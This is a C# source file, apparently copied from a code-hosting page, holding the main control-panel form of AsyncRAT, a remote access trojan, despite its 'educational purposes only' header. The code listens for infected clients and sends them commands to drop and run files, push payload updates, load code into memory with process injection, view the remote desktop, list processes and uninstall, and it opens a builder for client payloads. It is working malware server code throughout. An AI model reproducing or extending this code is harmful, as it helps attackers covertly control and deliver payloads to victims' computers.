357 lines
13 KiB
C#
357 lines
13 KiB
C#
using System;
|
|
using System.Windows.Forms;
|
|
using AsyncRAT_Sharp.MessagePack;
|
|
using AsyncRAT_Sharp.Sockets;
|
|
using System.Threading.Tasks;
|
|
using Microsoft.VisualBasic;
|
|
using System.Linq;
|
|
using System.Threading;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using AsyncRAT_Sharp.Forms;
|
|
|
|
// │ Author : NYAN CAT
|
|
// │ Name : AsyncRAT // Simple Socket
|
|
|
|
// Contact Me : https://github.com/NYAN-x-CAT
|
|
|
|
// This program Is distributed for educational purposes only.
|
|
|
|
namespace AsyncRAT_Sharp
|
|
{
|
|
|
|
public partial class Form1 : Form
|
|
{
|
|
private static Builder builder = new Builder();
|
|
public Form1()
|
|
{
|
|
InitializeComponent();
|
|
}
|
|
|
|
|
|
private void Form1_Load(object sender, EventArgs e)
|
|
{
|
|
var input = Interaction.InputBox("", "Select Port", "6606",-1,-1);
|
|
if (string.IsNullOrWhiteSpace(input)) Environment.Exit(0);
|
|
Settings.Port = Convert.ToInt32(input);
|
|
|
|
Text = $"{Settings.Version} // NYAN CAT";
|
|
Listener listener = new Listener();
|
|
|
|
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
|
thread.Start(Settings.Port);
|
|
}
|
|
|
|
|
|
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
|
|
{
|
|
Environment.Exit(0);
|
|
}
|
|
|
|
|
|
private void listView1_KeyDown(object sender, KeyEventArgs e)
|
|
{
|
|
if (listView1.Items.Count > 0)
|
|
if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A)
|
|
foreach (ListViewItem x in listView1.Items)
|
|
x.Selected = true;
|
|
}
|
|
|
|
|
|
private void listView1_MouseMove(object sender, MouseEventArgs e)
|
|
{
|
|
if (listView1.Items.Count > 1)
|
|
{
|
|
ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location);
|
|
if (e.Button == MouseButtons.Left && (hitInfo.Item != null || hitInfo.SubItem != null))
|
|
listView1.Items[hitInfo.Item.Index].Selected = true;
|
|
}
|
|
}
|
|
|
|
|
|
private async void ping_Tick(object sender, EventArgs e)
|
|
{
|
|
if (Settings.Online.Count > 0)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
|
foreach (Clients CL in Settings.Online.ToList())
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
});
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
private void UpdateUI_Tick(object sender, EventArgs e)
|
|
{
|
|
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
|
|
}
|
|
|
|
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "close";
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
});
|
|
}
|
|
}
|
|
}
|
|
|
|
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
|
|
if (string.IsNullOrEmpty(Msgbox))
|
|
return;
|
|
else
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
|
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
});
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
try
|
|
{
|
|
OpenFileDialog O = new OpenFileDialog();
|
|
if (O.ShowDialog() == DialogResult.OK)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
|
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
|
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
|
msgpack.ForcePathObject("Update").AsString = "false";
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
CL.LV.ForeColor = Color.Red;
|
|
});
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
}
|
|
|
|
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
});
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
}
|
|
|
|
private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
try
|
|
{
|
|
OpenFileDialog O = new OpenFileDialog();
|
|
if (O.ShowDialog() == DialogResult.OK)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
|
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
|
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
|
msgpack.ForcePathObject("Update").AsString = "true";
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
CL.LV.ForeColor = Color.Red;
|
|
});
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
}
|
|
|
|
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
try
|
|
{
|
|
SendFileToMemory SF = new SendFileToMemory();
|
|
SF.ShowDialog();
|
|
if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "sendMemory";
|
|
msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString()));
|
|
if (SF.comboBox1.SelectedIndex == 0)
|
|
{
|
|
msgpack.ForcePathObject("Inject").AsString = "";
|
|
msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
|
|
}
|
|
else
|
|
{
|
|
msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text;
|
|
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
|
|
}
|
|
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
CL.LV.ForeColor = Color.Red;
|
|
});
|
|
}
|
|
}
|
|
SF.Close();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
}
|
|
|
|
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "true";
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
|
|
this.BeginInvoke((MethodInvoker)(() =>
|
|
{
|
|
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
|
if (RD == null)
|
|
{
|
|
RD = new RemoteDesktop
|
|
{
|
|
Name = "RemoteDesktop:" + CL.ID,
|
|
F = this,
|
|
Text = "RemoteDesktop:" + CL.ID,
|
|
C = CL,
|
|
Active = true
|
|
};
|
|
RD.Show();
|
|
}
|
|
}));
|
|
});
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (listView1.SelectedItems.Count > 0)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
|
msgpack.ForcePathObject("Option").AsString = "List";
|
|
foreach (ListViewItem C in listView1.SelectedItems)
|
|
{
|
|
await Task.Run(() =>
|
|
{
|
|
Clients CL = (Clients)C.Tag;
|
|
CL.BeginSend(msgpack.Encode2Bytes());
|
|
this.BeginInvoke((MethodInvoker)(() =>
|
|
{
|
|
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
|
if (PM == null)
|
|
{
|
|
PM = new ProcessManager
|
|
{
|
|
Name = "processManager:" + CL.ID,
|
|
Text = "processManager:" + CL.ID,
|
|
F = this,
|
|
C = CL
|
|
};
|
|
PM.Show();
|
|
}
|
|
}));
|
|
});
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
|
|
private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
builder.ShowDialog();
|
|
}
|
|
}
|
|
}
|